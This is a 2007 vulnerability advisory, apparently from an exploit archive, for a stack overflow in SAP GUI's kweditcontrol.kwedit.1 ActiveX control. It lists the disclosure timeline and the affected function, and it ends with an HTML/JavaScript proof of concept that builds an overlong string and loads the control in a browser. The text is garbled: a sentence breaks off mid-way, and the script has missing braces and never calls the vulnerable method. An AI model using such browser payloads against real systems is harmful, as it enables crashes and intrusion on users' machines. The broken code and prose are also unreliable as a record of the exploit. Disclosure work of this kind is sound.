EnjoySAP ActiveX kweditcontrol.kwedit.1 Remote Stack Overflow PoC

ID 1337DAY-ID-6418
Type zdt
Reporter Mark Litchfield
Modified 2007-07-05T00:00:00


Exploit for unknown platform in category dos / poc

EnjoySAP ActiveX kweditcontrol.kwedit.1 Remote Stack Overflow PoC

Name: EnjoySAP, SAP GUI for Windows - Stack Overflow
Release Date:  5 July 2007
Reference: NGS00483
Discover: Mark Litchfield <[email protected]>
Vendor: SAP
Vendor Reference: SECRES-289
Systems Affected: All Versions
Risk: High
Status: Fixed

Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 11 January 2007
Fixed: 18 May 2007

EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of

Technical Details
Control - kweditcontrol.kwedit.1 (Marked Safe For Scripting)

Function - PrepareToPostHTML

DLL Path - C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll


<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
var foo = "";

for(var icount = 0; icount < 1060; icount++)
 foo = foo + "x";
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");


<BODY bgColor=#ffffff onload=init()>

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